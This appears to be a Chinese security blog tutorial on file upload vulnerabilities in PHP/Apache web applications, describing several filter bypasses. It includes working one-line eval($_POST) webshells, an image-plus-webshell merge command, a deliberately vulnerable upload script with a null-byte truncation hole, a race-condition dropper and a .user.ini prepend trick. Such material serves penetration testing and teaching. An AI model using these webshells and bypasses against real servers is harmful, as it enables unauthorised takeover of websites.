文件上传-爱代码爱编程
什么是文件上传漏洞
在现代互联网的web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率。比如企业的OA系统,允许用户上传图片、视频、头像和许多其他相关类型的文件。然而向用户提供的功能越多,web应用收到攻击的可能性就越大,如果web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序上传到服务器中,获得网站的权限,或进一步危害服务器
为什么文件上传存在漏洞
上传文件时,如果服务端代码未对客户端上传的文件进行严格过滤,就容易造成文件上传漏洞
绕过限制
apache解析从右到左开始解析,若文件名类似1.php.xxxxx,xxxxx无法解析,所以向左解析php
$_FILES[“file”][“type”]是客户端请求数据包中的Content-Type,所以可以使用burp抓包将Content-Type更改就可以绕过限制
绕过getimagesize()
getimagesize()可以获得图片的宽、高等信息,如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传
但是可以将一个图片和一个webshell合并为一个文件
例如:
cat image.png webshell.php >image.php
此时,使用此函数就可以获得图片信息,且webshell的后缀是php,也能被apache解析为脚本文件,就可以绕过getimagesize函数的限制
<?php
error_reporting(0);
$ext_arr=array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp');
$file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$tempFile=$_FILES['file']['tmp_name'];
$targetPath = "/upload".$_REQUEST['jieduan'].rand(10,99).data("YmdHis").".".$file_ext;
//$_REQUEST['jieduan']造成可以利用截断上传
if(move_uploaded_file($tempFile,$targetPath)){
echo '上传成功'.'<br>';
echo '路径:'.$targetPath;
}
else{
echo("上传失败");
}
}
else{
echo("不允许的后缀");
}
?>
在多数情况下,截断绕过都是在文件名后面加上HEX形式的%00来测试,例如filename=‘1.php%00.jpg’,但是由于在php中,$_FILE['file][‘name’]在得到文件名时,%00之后的内容已经被截断了,所以 $_FILE['file][‘name’]得到的后缀是php,而不是php%00.jpg,因此不能通过
if(in_array($file_ext,$ext_arr))
的限制
所以在进行截断时,不能直接在文件后面加%00,而应该更改hex
竞争条件攻击
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含webshell脚本,如果包含则删除该文件,这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差,就可以利用这个时间差完成竞争条件的上传漏洞攻击
举个栗子:
攻击者首先上传一个webshell脚本10.php,10.php的内容是生成一个新的webshell脚本shell.php,代码如下
<?php
fputs(fopen('../shell.php','w'),'<php @eval($_POST[a]) ?>');
当10.php上传成功后,客户端立即访问10.php,那么会在当前目录下自动生成shell.php,此时就利用时间差完成了webshell的上传
还可以利用.user.ini文件完成文件上传的操作
诸如:
.user.ini
GIF 89a
auto_prepend_file=01.gif
01.gif
GIF89a
<script language="php">eval($_POST['123']);</script>
利用.htaccess文件绕过限制:
https://www.jianshu.com/p/c674904a711e
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43152809/article/details/110497151